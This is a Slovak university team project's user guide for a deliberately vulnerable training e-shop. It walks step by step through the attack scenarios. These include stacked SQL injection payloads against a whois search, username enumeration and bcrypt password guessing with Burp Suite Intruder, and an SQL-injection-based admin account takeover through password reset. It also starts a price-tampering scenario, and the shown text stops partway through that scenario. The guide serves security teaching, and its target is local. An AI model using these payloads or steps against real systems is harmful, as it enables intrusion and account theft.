Slovenská technická univerzita v Bratislave Fakulta informatiky a informačných technológií

Ilkovičova 2, 842 16 Bratislava 4



Používateľská príručka pre security e-shop

Tímový projekt Tím č. 19

Vypracoval:

Jakub Perdek Vedúci projektu: Ing. Pavol Helebrandt Phd.

Registrácia a prihlásenie používateľa

Na začiatku sa používateľ zaregistruje. Vyplní všetky položky registračného formulára. Zapamätá si meno a heslo a uvedie funkčný a jedinečný email. Následne použije meno a heslo pri prihlasovaní. Automaticky mu bude priradená roľa používateľa.

1. Zaregistrujte sa stlačením na tlačidlo SignUp v hornom rohu stránky.

SignUp		
Full Name		
xperdek		
Email		
xperdek@stuba.sk		
Address		
Somewhere over the rainbow		
Descriverd		
Confirm Password		
•••••		
	•	
	SignUp	

Obrázok 1: Registrácia používateľa

2. Následne sa prihláste zadaním vášho používateľského mena a hesla.

Login Username xperdek	
Lost your password? Login	

Obrázok 2: Prihlásenie používateľa

Získanie informácií o najzraniteľnejšej stránke

Tento scenár prezentuje pokročilú SQL injekciu. Samotné získané informácie v tomto scenári môžu uľahčiť realizáciu ďalších scenárov. Útočník sa rozhodne získať informácie z whois databázy s tým, že ho zaujíma doména s najväčším počtom zraniteľností. Vyhľadávanie mu ale vráti maximálne jednu stránku, ktorá sa najviac zhoduje s vyhľadávaným výrazom. Už asi tušíte, že potrebujete nejaký dopyt využívajúci agregačné funkcie. Našťastie Whois aplikácia poskytla schému z databázy, keďže chce prezentovať používané postupy. K potrebným informáciám sa môžete dostať na základe nasledovného postupu:

- 1. Otvorte whois aplikáciu dostupnú na localhost: 5001
- 2. Zistiť ako funguje Whois môžete vyhľadaním zadaného reťazca s doménou.



Obrázok 3: Overenie funkcionality whois

3. Následne sa presmerujte na stránku s dátovým modelom whois



Obrázok 4: Presmerovanie sa na stránku s whois schémou

4. V menu zvoľte Schema. Dostali ste sa na stránku s databázovou schémou. Zo schémy môžete zistiť, že whois tabuľka so záznamami z ktorých sa vyhľadáva sú prepojené s tabuľkou zraniteľností pomocou cudzieho kľúča reference record id.

	VU	nerabilities
whois		
id: SERIAL PRIMARY KEY NOT NULL domain_name: TEXT	1 1* id	I: SERIAL NOT NULL PRIMARY KEY uln_type_id: INT NOT NULL orginitian: TTYT
query_time: TEXT create_date: TEXT update_date: TEXT expiry_date text: TEXT domain_registrar_id: TEXT domain_registrar_name: TEXT domain_registrar_whois: TEXT domain_registrar_url: TEXT	G VL FC FC FC	escription: TEXT JIn_danger_id: INT NOT NULL férence_record_id: BIGINT NOT NULL OREIGN_KEY(vuln_type_id) OREIGN_KEY(vuln_danger_id) OREIGN_KEY(reference_record_id) 0.1 0.1
registrant_name: TEXT registrant_company: TEXT registrant_address: TEXT	1*	1*
registrant_city: TEXT registrant_state: TEXT	vuln_types	vuln_danger
registrant_zip: TEXT registrant_country: TEXT registrant_email: TEXT	id: SERIAL NOT NULL PRIMARY vuln_type: TEXT UNIQUE NOT	Y KEY id: SERIAL NOT NULL PRIMARY KEY NULL vuln_danger: TEXT UNIQUE NOT NULL
registrant_phone: TEXT registrant_fax: TEXT administrative_name: TEXT		 <use>>></use> ✓
administrative_company: TEXT administrative_address: TEXT		< <enumeration>></enumeration>
administrative_city: TEXT administrative_state: TEXT		vuln_danger
administrative_zip: TEXT administrative_country: TEXT		LOW MODERATE
administrative_email: TEXT administrative_phone: TEXT administrative_fax: TEXT		HIGHT EXTREME

Obrázok 5: Databázová schéma aplikácie Whois

- 5. Teraz už viete, čo môžete pri písaní SQL injekcie využiť. Ešte je potrebné overiť, či injekcia bude fungovať. Presmerujte sa preto na úvodnú stránku s vyhľadávačom.
- 6. Zadajte do okna ' a potvrďte. V špeciálnych prípadoch môže byť ochrana vo formulároch na frontende. Pokiaľ by bola bolo by potrebné použiť na odosielanie requestov BurpSuite. Jeho použitie si ukážeme v ďalších scenároch.



Obrázok 6: Overenie, či SQL injekcia bude fungovať

7. Zobrazila sa vám chybová hláška, na základe ktorej viete, že prípadná SQL injekcia bude úspešná.



Error: error: unterminated quoted string at or near " LIMIT 1"

Obrázok 7: Chybové hlásenie zobrazujúce neošetrenú slabinu v systéme

8. Konečne môžete navrhnúť SQL injekciu. Najprv je potrebné zistiť ako funguje vyhľadávanie na základe reťazca. Keďže slovo je hľadané kdekoľvej v doméne potom možno usúdiť, že v postgrese je výraz ohraničený a vyzerá nasledovne: '%vyhladavana_domena%'

Preto je potrebné najprv uzatvoriť predtým vyhľadávaný reťazec a zároveň zabezpečiť, aby podmienka pre akýkoľvek platila, napríklad použitím logického OR a výrazu, ktorý bude vždy pravdivý.

Zatial' sme navrhli výraz: a%' OR 1=1

Ten je potrebné ešte okomentovať a vložiť pred komentár ohraničenie pre vrátenie práve jedného výsledku, lebo v kóde sa vracia najviac jeden vyhľadaný a pravdepodobne sa volá funkcia one. Ak by bolo vrátených viac výsledkov skončí s chybou. Pridáme preto na koniec reťazec LIMIT 1 --' Zatiaľ máme: a%' OR 1=1 LIMIT 1 --'

- Môžete skúsiť použiť výraz a%' OR 1=1 LIMIT 1 --' vo vyhľadávaní. Vidíte, že bez chyby vráti nejaký výsledok. Vy ale chcete aby bo, vrátený výsledok s najväčším počtom zraniteľností.
- 10. Do reťazca doplňte agregačný dopyt na základe ktorého bude možné získať potrebné výsledky. Vyžite informácie zo schémy Whois aplikácie. Keby sme mali prístup k database napísali by sme takýto SELECT: SELECT

COUNT (vulnerabilities.reference_record_id) AS count, whois AS whois FROM whois

LEFT JOIN vulnerabilities ON whois.id = vulnerabilities.reference_record_id GROUP BY whois.id

ORDER BY count DESC

LIMIT 1

Týmto selectom na základe agregačnej funkcie COUNT spočítame záznamy pre cudzí kľúč záznamu zraniteľnosti odkazujúci na whois záznam. Čím je tento poćet vyšší, tým viac záznamov o zraniteľnostiach pre konkrétny whois záznam existuje. Netreba zabudnúť spojiť tabuľku so zraniteľnosťami a whois tabuľku so záznamami LEFT JOINOM. Opäť je potrebný výber práve jedného záznamu pomocou LIMIT 1. Chceme najvyššiu hodnotu preto zoradíme výsledky zostupne pomocou ORDER BY count DESC, kde count je agregovaný počet pre každú jedinečnú hodnotu cudzieho kľúča, respektíve identifikátor whois zánamu. 11. Navrhnutý agregačný dopyt skombinujte pridaním bodkočiarky za výraz 1=1 a jeho doplnením za túto bodkočiarku.
V tomto kroku by sme mali mať:
a%' OR 1=1; SELECT COUNT(vulnerabilities.reference_record_id) AS count, whois AS whois FROM whois LEFT JOIN vulnerabilities ON whois.id = vulnerabilities.reference_record_id GROUP BY whois.id ORDER BY count DESC LIMIT 1 --'

Skúste tento výraz vložiť do vyhľadávacieho okno.

12. Dostali ste chybovú hlášku, kde sa program sťažuje, že niektorá hodnota je undefined. Pri simulovaní situácie s použitím podobnej node js aplikácie alebo po hlbšej úvahe by ste mohli zistiť, že hodnoty sa nevrátia ako slovník.



Error: TypeError: Cannot read property 'toString' of undefined



13. Obrázok 8: Chyba pri vyskúšaní pripravenej injekcie

Obrázok 9: Hodnoty záznamu sa nevrátia ako slovník



Obrázok 10: Podoba dát keby boli slovníkom

14. Upravte preto príkaz tak, aby bol vrátený len id hľadaného záznamu teraz už bez ďalších JOIN operácií, tak aby vrátilo slovník. Výraz by mal fungovať. Postup je nasledovný. V predchádzajúcom agregačnom dopyte zmeňte vrátený výsledok z whois záznamu len na id whois záznamu: SELECT COUNT (vulnerabilities.reference_record_id) AS count, whois.id AS ww FROM whois LEFT JOIN vulnerabilities ON whois.id = vulnerabilities.reference_record_id GROUP BY whois.id ORDER BY count DESC LIMIT 1 Celý výraz po vložení vyzerá nasledovne: a%' OR 1=1; SELECT COUNT(vulnerabilities.reference_record_id) AS count, whois.id AS ww FROM whois LEFT JOIN vulnerabilities ON whois.id = vulnerabilities.reference_record_id GROUP BY whois.id ORDER BY count DESC LIMIT 1 --'

- 15. Pridajte ďalší SELECT do tohto agregovaného dopytu dopytujúceho sa do tabuľy whois po zázname na základe získaného id z dopytu:
 a%' OR 1=1; SELECT * FROM whois, (SELECT COUNT(vulnerabilities.reference_record_id) AS count, whois.id AS ww FROM whois LEFT JOIN vulnerabilities ON whois.id = vulnerabilities.reference_record_id GROUP BY whois.id ORDER BY count DESC LIMIT 1) ww WHERE ww = whois.id LIMIT 1 --'
- 16. Následne ho overte pri vyhľadávaní. Získali ste záznam s dvomi zraniteľnosťami. Asi nie je prekvapením, že odkazujú na security eshop. Zo záznamov ste sa mohli dozvedieť mená dvoch významných používateľov eshopu, ktoré sa zídu v ďalších scenároch.

F	Found vulnerabilities	
Туре	Description	Danger
Sensitive data exposure	Users email with nick user can be identified from response!	MODERATE
Sensitive data exposure	Users email with nick admin can be identified from response!	MODERATE
	Designed and created by Team 19 CYRAN ©	

Obrázok 11: Získané zraniteľnosti pre doménu s najväčším počtom zraniteľností

Prelamovanie hesiel

Jeden z pracovníkov obchodu má nastavené uhádnuteľné slabé heslo. Princípom tohto scenára je zistiť toto heslo skúšaním rôznych hesiel pre používateľov pomocou ľubovoľného nástroja. Musí to ale realizovať prostredníctvom rozhrania pre Angulár. Stačí ak vyskúša jednoduché heslá ručne. Rovnako si môže zistiť hash hesla vytvorený bcryp-tom vrátený do Anguláru pre overenie. Ten môže získať sledovaním premávky. Následne by mohol skúšať známe heslá a porovnávať vytvorené hashe s hashmi vytvorenými pre reťazce na zozname. Túto časť môže realizovať aj offline. Meno a heslo sú rovnaké, a to user a user. Malo by ich preto byť jednoduché zistiť. Často sú na zozname najpoužívanejších hesiel.



Obrázok 12: Aplikovanie jednoduchého hesla user

Prelamovanie hesiel slovníkovým útokom

Útočník môže zrealizovať slovníkový útok na základe získaných informácií z login stránky. K užitočným informáciám sa dostanete na základe nasledujúceho postupu:

- 17. Po zapnutí burpsuitu a prejdite do kolónky proxy.
- 18. Vypnite intercept v rozkliknutom menu BurpSuite.
- 19. Otvorte si prehliadač kliknutím na open browser.



Obrázok 13: Otvorenie prehliadača a interceptor v BurpSuite

- 20. Prejdite na stránku http://localhost:4200/signin.
- 21. Ak sa vám zobrazí chyba ako na obrázku 5 postupujete podľa ďalších krokov. Ak vám všetko funguje pokračujte krokom 8.



Obrázok 14: Chyba v zabudovanom prehliadači pre BurpSuite

22. V burpsuite si na lište vo vybranej kolónke proxy rozkliknite tab Options. V časti Listeners zvoľte záznam pre localhost s IP 127.0.0.1 a kliknite na editovať.

5 Burp Suite	Community	Edition v202	21.3.3 - Temp	orary Project						-	×
Burp Project	Intruder	Repeater	Window	Help							
Dashboard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder Co	mparer Extender	Project options	User options		
Intercept	Intercept HTTP history WebSockets history Options										
(?) Proxy Li {) Burp Prox	 Proxy Listeners Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server. 										
Add	Runr	ning In	terface	Invisible	Redirect	Certificate	TLS Protoco		Vyberte položku pre IP a port		
Kliknite na editovat	re É	127.0.6	0.1:8080			Per-host	Default	· ·	127.0.0.1:8080		
Each inst	Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating TLS connections. You can import or export this certificate for use in other tools or another installation of Burp.										

Obrázok 15: Zmena nastavenia proxy

23. Následne zmeňte port z 8080 napríklad na 8085. Overte či obsah v prehliadači funguje. Ak áno pokračujte nasledovným bodom.



Obrázok 16: Zmena portu

24. Zapnite intercept na tej istej položke v menu BurpSuite.



Obrázok 17: Zapnutie interceptora

25. Pokúste sa prihlásiť s ľubovoľným menom a heslom.

SecurityEshop ×	9
\leftarrow \rightarrow C (1) http://localhost:42	/signin
Security E-shop	
	I a sin
	Login
	user1
	Login

Obrázok 18: Pokus o prihlásenie v stavanom prehlaidači BurpSuitu

- 26. Následne sa prepnite do burpsuitu, kde sa zobrazí informácia o dopyte,
- 27. Zobrazte menu kliknutím ľavým tlačidlom myši do prostriedku informácií o dopyte.
- 28. Z menu vyberte položku "Send to Intruder".



Obrázok 19: Odoslanie requestu do intrudera

- 29. Následne kliknite na otvorenú položku Intruder-a.
- 30. Rozkliknite podmenu Payloads v položke Intruder-a.

😽 Burp	Suite (Community	edition v202	1.2.1 - Tempo	rary Project		
Burp I	Project	Intruder	Repeater	Window H	Karta	intruder	
Dashb	oard	Target	Ргоху	Intruder	Reneater	Sequencer	De
14 ×	15	×		\sim			
Target	P	ositions	Payloads	Options			
? Pa	ayload	Sets	P	odkarta Pa	yloads		
Yo cu	u can d stomize	efine one o d in differe	or more payloa ent ways.	ad sets. The nu	umber of payloa	ad sets depends	on the

Obrázok 20: Presunutie sa na položku Payloads v Intruderovi

- 31. Vo vrchnej časti Payload Sets rozkliknutej karty v BurpSuite nechajte nastavené Payload set na 1 a Payload type na Simple list.
- 32. Nižšie v rozkliknutej karte nájdite časť Payload options a pomocou tlačítka Add pridajte niekoľko mien, ktoré by mohli byť potencionálni používatelia, pričom sa riadte častými názvami ako admin, user, guest a podobne.
- 33. Zvoľte položku "Start attack".

4	Burp Suite C	ommunity	Edition v20	21.2.1 - Tem	porary Projec	t		_		\times
Burg	Project	Intruder	Repeater	Window	Help					
\$	Sequencer	Dec	oder	Comparer	Exte	nder	Project options		User optic	ons
	Dashboa	ard	Ta	arget	Proxy		Intruder		Repeater	
14	× 15	×								
Та	rget Po	sitions	Payloads	Options	s					
\bigcirc	Pavload	Sets						6	Start atta	
0	You can de	fine one o	r more pavir	ad sets The	number of na	wload o	ets depends on the attack			~
	type defin	ed in the P	ositions tab.	Various payl	load types are	availab	le for each payload set, an	d	$\mathbf{\Delta}$	
	each paylo	ad type car	n be custom	ized in differ	ent ways.				U	
	Payload se	t: 1		~	Payload o	ount: 2	2	Z	ačatie út	oku
	Pavload tv	pe: Simpl	e list	~	Request	count: 2	2			
?	Payload	Options	Simple lis	t]						
	This paylo	ad type lets	s you config	ure a simple l	list of strings	that are	used as payloads.			
	Dacto	admir				_				
	Faste	guest								
	Load	<u> </u>								
	Remove	•								
	Clear					-				
	_	Pridan	ie možné	ho						
	- Û	použív	ateľa							
	Add	user								
	Add fro	Add the sp	ecified item		\ \	-				

Obrázok 21: Zadanie zoznamu potencionálnych používateľov a začatie útoku

- 34. Otvorí sa okno, v ktorom podľa vráteného statusu môžte zistíť, ktorí používatelia existujú v systéme.
- 35. Kliknite na jeden z riadkov, ktorý má status 200.
- 36. Prepnite sa na kartu Response, v okne ktoré sa zobrazí nižšie.
- 37. Môžte zistiť, že aplikácia dostala heslo spolu s emalom a roľou používateľa. Pre admina zistíte, že jeho heslo nie je zahešované. Naopak pre používateľa zistíte, že jeho heslo je hash. Systém teda heslá šifruje, inak by sme sa prihlásili pomocou získaného hesla. Účet admina bude nejak zablokovaný. So získaných informácií zistíte, že používateľ user je v skutočnosti asistent. Skúsime preto v nasledujúcej časti zistiť jeho heslo.

🔸 Intrud	er attack 5						-	-	\times
Attack S	Save Columns								
Results	Target Posit	ions Payloads	0	ptions					
Filter: Sho	owing all items								?
Requ ^	Payload	Status	Error	Timeout	Length	Comment			
0 1 2 3	admin guest user a S	500 200 500 200 dmin a user exi ystéme	stujú	U U U V	5591 350 5591 392				

Obrázok 22: Zistenie existujúcich používateľov v systéme

38. Skopírujte heslo usera, ktorý je asistent.

5 Intruder attack 5							
Attack S	ave Columns						
Results	Target	Positions	Payloads	Op	otions		
Filter: Sho	owing all items						
Requ ^	Paylo	ad	Status	Error	Timeout	Length	Comment
0 1 2	admin guest		500 200 500			5591 350 5591	
3	user		200			392	
Request Pretty R	Response Raw Render	\n Action	s ¥				
1 HTTP/ 2 Vary: 3 Vary: 4 Vary: 5 Acces 6 Conte: 7 Date: 8 Conte:	<pre>1.1 200 Origin Access-Cont Access-Cont s-Control-Al nt-Type: app Fri, 12 Mar ction: close </pre>	rol-Reques rol-Reques low-Origin lication/: 2021 21:3	st-Method st-Headers h: * json L3:07 GMT				
9 Contes 10 11 ("id "nau "em	nt-Length: 1 ":5, me":"user", ail":"user@u	ser.sk",					
"pa "pr }	ssword":" <mark>\$2a</mark> iviledges":"	\$10\$vZZB6 assistant'	MeXs206WC	LUAW. B	0skBXd1	.qPaOF.le7f	zYxksofswQCcOSa",

Obrázok 23: Získanie zašifrovaného hesla asistenta s používateľským menom user

Získali ste heslo, ale je ho potrebné ešte prelomiť. Z Whois aplikácie, prezretím zdrojového kódu projektu, alebo vďaka nejakej nápovede by ste mali vedieť, že na šifrovanie bol použitý bcrypt v javascripte. Je teda potrebné overiť množinu možných hesiel voči tomuto hashu. Skúsite ich preto overiť použitím služby tutorial aplikácie vysvetľujúcej základy bcryptu. Postup je nasledovný:

- 1. Zapnite BurpSuite a znova sa prepneme do kolónky proxy.
- 2. Vypnite interceptor a zapnite prehliadač, ktorý má BurpSuite.
- 3. Prejdite na adresu http://localhost:5001/.
- 4. V ľavom hornom rohu kliknite na položku v menu s názvom "Bcrypt tutorial".



Obrázok 24: Vyhľadanie stránky s tutoriálom pre Bcrypt

5. Preskrolujte na službu s názvom BCrypt validator.

× 🖪 🖍 V	🛚 🛛 🖋 🖌 🔓 🗍 🛞 🗍 Not 🛛 🚺 🕇 🔓 🖉 🖉	+	-		\times
\leftrightarrow \rightarrow C (localhost:5001/bcryptIntro			* 0	:
👯 Aplikácie G	Gmail				
		1		Ξ.	
	BCrypt validate	or			
	Guessed text: Odhad ná je zašifrov nižšie	izvu tohc /ané s ha	o, čo shom		
•	user1 Hash vytvorený funkciou BCrypt				
	Answer:	rue ak sa ol šifrova false	ním		
	Spustenie Apply BCr	ypt	D		

Obrázok 25: Vyvolanie služby pre zistenie či hash vznikol šifrovaním odhadovaného textu

- 6. Vložte nejaký text do polí Guesed text a Given hash.
- 7. Zapnite interceptor v BurpSuite.
- 8. Opäť kliknite ľavým tlačidlom doprostred a v menu vyberte položku "Send to intruder". V okne ste si mohli všimnúť odosielané hodnoty.



Obrázok 26: Zachytená odoslaná žiadosť na server a odoslanie do intrudera

- 9. V karte Intruder sa prepnite do podmenu Positions.
- 10. Následne prenastavte Attack type na Cluster bomb.

🔸 Burp S	uite Community	Edition v2021	.2.1 - Tempo	orary Project		
Burp P	roject Intruder	Repeater	Window	Help		
Dashbo	ard Target	Ргоху	Intruder	Repeater	Sequencer	Decoder (
14 ×	15 × 1	5 ×				
Target	Positions	Payloads	Options			
Pay Con	yload Position	Prepnen position	n <mark>e sa do</mark> s yloads will b	e inserted into ti	ne base request. 1	The attack type det
				ta ale trus a		
Att	ack type: Cluste	r bomb	Ako at	таск туре		
1	POST /bcrypt	IntroValid	ZVOIIM	e Cluster bor	an	
2	Host: locall	nost: 5001		/ = . =		
3	Content-Leng	gth: 35				
4	Cache-Contro	ol: max-age	=0			
5	sec-ch-ua:	;Not A Bra	und";v="99	9", "Chromium	";v="88"	
6	sec-ch-ua-mo	obile: ?O				
7	Upgrade-Inse	ecure-Reque	sts: 1			
8	Origin: http	c://localho	st:5001			
9	Content-Type	e: applicat	ion/x-www	-form-urlend	oded	
10	User-Agent:	Mozilla/5.	0 (Window	TS NT 10.0; W	in64; x64) A	ppleWebKit/537
12	Accept: text	c/ncmi,appi	lcation/	ncmi+xmi, app	lication/xml	;q=0.9,1mage/a
12	Sec-Fetch-St	de: pavig	rigin			
14	Sec-Fetch-Us	er: 21	ic e			
15	Sec-Fetch-De	est: docume	nt			
16	Referer: htt	p://localk	lost: 5001/	bervptIntro		
17	Accept-Encod	ling: gzip,	deflate			
18	Accept-Lang	age: sk-SF	, sk; q=0.9	,cs;q=0.8,en	-US;q=0.7,en	;q=0.6
19	Connection:	close				_
20						
21	guessedText	Suser184gi	venHash=	fdgfdgd§		

Obrázok 27: Nastavenie typu útoku na Cluster bomb

- 11. Následne sa prepnite do podmenu karty Intruder s názvom Payloads.
- 12. Nechajte opäť v prvej časti nastavený Payloads set na 1 a Payload type na "Simple list". Môžte si všimnúť, že Payloads set je možné prenastaviť na 2. To je preto, že prvé je pre prvý parameter requestu, odhadovaný text a druhý je pre jednu z jeho šifrovaných podôb.
- 13. Pridajte nižšie v časti Payload options Vami odhadované heslá, opäť také, ktoré sú často používané. Napríklad najčastejšie také, ktoré sú zhodné aj s menom používateľa. Napríklad admin, user, heslo123 a podobne.
- 14. Prepnite Payloads set v hornej časti s názvom Payloads set na 2. Teraz nastavuje šifrovanú podobu nejakého textu.
- 15. Opäť v časti Payload options pridajte skopírovaný šifrovaný text používateľa user, ktorý je asistentom.
- 16. Kliknite na tlačidlo Start attack v pravom hornom rohu.
- 17. Zobrazil sa Vám zoznam s výsledkami. Keďže služba vracia hodnotu 500, a to v prípade, že hash nebol vytvorený šifrovaním zadaného odhadovaného textu, stačí pozrieť hodnotu výsledného statusu.

🔸 Bur	rp Suite Com	munity Ed	ition v2021.	2.1 - Tempo	rary Project		
Burp	Project I	ntruder	Repeater	Window	Help		
Dash	nboard	Target	Proxy	Intruder	Repeater	Sequencer	Dec
14	× 15 ×	16	×				
Targ	et Posi	tions	Payloads	Options			
?	Payload Se	ets		d cate The r	umber of paul	and sets depends	on the
	fou can den	ne one or i	nore payloa	u sets. The f	fumber of pays	oad sets depends	on the
	Payload set:	1		\sim	Payload cou	unt: 2	
	Payload type	: Simple I	list	\sim	Request co	unt: 0	
?	Payload O This payload Paste	ptions [S I type lets y	imple list	e a simple li	st of strings th	at are used as payl	oads.
	Load	user					
		51					
	Remove	-				•	
	Clear						
	Add	heslo1	23				
	Add from	Add the s	pecified iten	n	~		

Obrázok 28: Zadanie potencionálnych odhadovaných hesiel – nešifrovaných

Burp Pr					Jiary Floject		
	roject Int	ruder	Repeater	Window	Help		
Dashbo	ard Ta	irget	Proxy	Intruder	Repeater	Sequencer	Deco
14 ×	15 ×	16	×				
Target	Positio	ns	Payloads	Options	;		
? Pay You	yload Sets I can define	one or	more paylo	oad sets. The	number of paylo	ad sets depends	on the a
Pay	load set:	2		~	Payload cou	int: 1	
Pay	load type:	Simple	e list	~	Request cou	unt: 3	
Thi	s payload ty	pe lets	you config	ure a simple l	ist of strings that	t are used as made	
	Dacta	\$2=\$1	0\$v7786aM	eXc2O6WCUU	Aw BOckBVd	at are used as pay	loads.
	Paste	\$2a\$1	0\$vZZB6gM	eXs2O6WCLU	Aw.BOskBXd	at are used as pay	oads.
	Paste	\$2a\$1	0\$vZZB6gM	eXs2O6WCLU	Aw.BOskBXd	are used as pay	oads.
	Paste Load Remove	\$2a\$1	0\$vZZB6gM	eXs2O6WCLU	Aw.BOskBXd	are used as pay	oads.
	Paste Load Remove Clear	\$2a\$1	0\$vZZB6gM	eXs2O6WCLU	Aw.BOskBXd	at are used as pay	oads.
	Paste Load Remove Clear	\$2a\$1	0\$vZZB6gM	eXs2O6WCLU	Aw.BOskBXd	at are used as pay	loads.
	Paste Load Remove Clear	\$2a\$1	0\$vZZB6gM	eXs2O6WCLU	Aw.BOskBXd	tare useo as pay	loads.

Obrázok 29: Pridanie šifrovanej podoby hesla pre druhý parameter

18. V tabuľke nájdite riadok/riadky s hodnotou status kódu 200. Pozrite sa na Payload číslo 1. Vidíte aké je heslo, ktoré po zašifrovaní môže nadobúdať hash v stĺpci Payload číslo 2. Skopírujte si heslo zo stĺpca Payload číslo 1.



Obrázok 30: Získanie hesla pred zašifrovaním

19. Následne heslo spolu s používateľským menom overte prihlásením sa. Môžte si overiť, že používateľ má naozaj práva asistenta podľa položky Board v hornom menu.

Login		
Username		
user		
Vložené zistené he		
Losi your password?		
	Login	

Obrázok 31: Overenie získaného hesla pre používateľa user prihlásením



Obrázok 32: Overenie role asistenta

Použitie SQL injekcie

Útočník pri prelamovaní hesiel sa bol schopný dostať do role pracovníka v obchode. Následne má prístup k používateľským emailom a menám. Jeho úlohou bude ale vyhľadať admina, ktorý sa nezobrazuje. Použije SQL injekciu. V tejto časti ponúkame postup pri scenári aplikovania SQL injekcie.

1. Kliknite na tlačidlo Board v pravom hornom rohu potom, čo ste prihlásený ako pracovník v obchode.



Obrázok 33: Pracovník v obchode má prístup k tabuli používateľov

2. V časti Customers sa pokúste vyhľadať používateľa s menom admin.

\leftrightarrow \rightarrow C (\odot localhost:4200/mana	age					o
Security E-shop						Ē
Eshop ma	nagement		Customers	Products		
		Enter some input admin Max 100 characters	5/100	Search according Name Choose which parameter find	્ Search	
	ID Username	Email	Cha	nge username	Change email	
				Items per p	bage: 10 ▼ 1 - 10 of 100	

Obrázok 34: Pokus vyhľadať používateľa s menom admin

3. Skúste použiť SQL Injekciu pre používateľa admin, tým že necháte výraz admin vyhľadať a zároveň odignorovať zvyšnú časť výrazu.

\leftrightarrow \rightarrow C () localhost:4200/manag	le						아 ☆ 🗉 🗯 😝 :
Security E-shop						Ŷ	🗧 😝 Logout 🔧 Board 🎽
Eshop mai	nage	ement	Custom	ers Products			
			Sotier some invot admin*2; – Max 100 characters 11	Saarch socording Name Choose which para	• Search		
		Username	Email	Change username	Change email		
		admin	admin@topsecret.com	Jan Change	email@em.cc Change		
				łt	ems per page: <mark>10 →</mark> 1 - 10 of 100 <	>	*

Obrázok 35: Použitie SQL Injekcie pre vyhľadanie používateľa s menom admin

4. Zmeňte email používateľa admin na svoj. Pre unikátnosť emailov nesmie byť tento email už predtým použitý.

	Username	Email	Change username		Change email			
11	admin	admin@topsecret.com	Jan Change		xperdek@gm	Change		
				Items per page:	<u>10 –</u>	1 – 10 of 100	< >	

Obrázok 36: Zmena emailovej adresy používateľa admin na svoj vlastný

5. Odhláste sa kliknite na tlačidlo pre opätovné prihlásenie. Namiesto prihlásenia ale kliknite na odkaz Lost your password?

	Login	
	Username	
_		
		Lanin

Obrázok 37: Prihlasovací formulár s odkazom na obnovu zabudnutého hesla

6. Na nasledujúcom formulári zadajte zmenený email a kliknite na tlačidlo Resend password.



Obrázok 38: Formulár pre pregenerovanie nového hesla

7. Otvorte svojho emailového klienta a počkajte kým vám príde email z eshopu. Potom z neho získajte heslo. Ak používate aplikáciu nasadenú lokálne v prostredí docker, tak mail by mal byť doručený do MailHog aplikácie dostupnej na adrese localhost:8025 (kvôli zabezpečeniu emailového účtu nefunguje prihlásenie do mailu, keďže každý používateľ má iné zariadenie a Gmail prihlásenie zablokuje). Obsah mailu by mal byť identický ako v predchádzajúcom prípade.

		INBOX		×
Zobrazif: 20 🗸	_ Q	1-20 of 401	? 💠 幹 🗀	
🗑 🖂 🖻 🏲 🔭	► ► ► ► ► ► ► ► ► ► ► ► ► ► ► ► ► ► ►			Ì
✓ Status	Od	Predmet	Veľkosť	Prijaté 🟹
🗌 🖾 🥥 🎚 tutorialeshop@gma	ail.com	Passsword change in security es	4576	23:16:38
	Obrázok 39: Doruče	enie správy so zmeneným heslom		
🕈 MailHog	× +		-	- 🗆 X
\leftrightarrow \rightarrow C () localho	st:8025		Q 🕁	🗯 🕕 🗄
👯 Aplikácie 附 Gmail				
💏 MailHog	Q, Search			Q GitHub
Connected Inbox (0) Delete all messages	3			*
Jim	Obrázok 40: MailHo	g dostupný pre lokálne nasadenie		

🖂 Recent Správa		🖂 🖡 🛃 (stuba.sk) 🗸 🗸
Od:	<tutorialeshop@gmail.com></tutorialeshop@gmail.com>	E.
Predmet:	Passsword change in security eshop	10
Dátum:	Štv, 17.Dec 2020 23:16:31	
Komu:	<xperdek@stuba.sk></xperdek@stuba.sk>	
Your new password is: fff96786cdebb2a	fe583781061e93cf3328671a0	
Táto správa bola skontrolo	vaná na prítomnosť vírusov programom Avast Antivirus.	

Obrázok 41: Zmenené heslo sa nachádza v správe

8. Prihláste sa pod menom admin a zadajte vygenerované heslo.

Login Usemame admin Password Lost your password? Login	Login Usemame admin Password Cost your password? Login		
admin Password Lost your password? Login	admin Password Lost your password? Login	Login	
Password Lost your password? Login	Password Lost your password? Login	admin	
Lost your password? Lost our password?	Lost your password? Login	Password	
Lost your password? Login	Lost your password? Login		
Login	Login		
			Login

Obrázok 42: Vloženie zmenených údajov do formulára pre prihlásenie

9. Dostali ste sa do účtu, ktorý má najvyššie privilégium. Teraz môžete meniť privilégiá ostatných používateľov. Víťazný token/vlajku môžete nájsť v časti pre manažovanie rolí. Konečne je eshop dobytý!



Obrázok 43: Používateľ s privilégiom admin má vlastný ovládací panel



Obrázok 44: Prekliknutie sa na víťazný token

Ukradnutie produktu z eshopu

Útočník ukradne produkty z eshopu tým, že pošle vo formulári nulovú hodnotu. Najprv ale musí vytvoriť objednávku.

1. Otvorte program Burp Suite a prepnite sa na lištu Proxy. Následne otvorte prehliadač.

💕 Bu	rp Suite (Community I	Edition v202	20.12 - Tem	porary Project			
Burp	Project	Intruder	Repeater	Window	Help			
Dash	board	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer
Inter	cept	HTTP histor	y Web	Sockets his	tory Option	s		
F	orward		Drop	Interce	ept is off	Action	Open Brows	er
							0	pen pre-configure

Obrázok 45: Zapnutie burpsuite a otvorenie vlastného prehliadača



2. Prihláste sa pod ľubovoľným používateľom a pridajte nejaký produkt do košíka.

Obrázok 46: Pridanie produktu do košíka

3. Potvrďte produkty v košíku vybraním výberu spôsobu dodania stlačením na tlačidlo Choose shippment.

Secur	ity E-shop	Ħ	Logout
	Shopping cart		
	→ Kamarátky	2.9€	
	✓ Checkout:	2.9€	
	Choose shippment		

Obrázok 47: Potvrdenie produktov v košíku

4. Zadajte informácie o dodaní. Nejakú adresu a ďalšie potrebné údaje a potvrďte.

\leftrightarrow \rightarrow C () localhost:4200/delivery	아 🎕 🏚 🗉 🛊 😫
Delivery options	
	Deliver to issue place
First name * Last Name * Emil Kratochvil	
Battisava 5 	
City Post Post Postal Code Bratislava Bratislava1 03242	
	Payment methods

Obrázok 48: Určenie dodacej adresy

5. Vyberte nejakú platobnú metódu. Pred potvrdením nezabudnite v Burp Suite zapnúť intercept na on. Následne potvrďte.

$\leftarrow \ \rightarrow \ G$	O localhost:4200/paying-n	nethods							o- 🗟 🕁 🖂	* 0 :
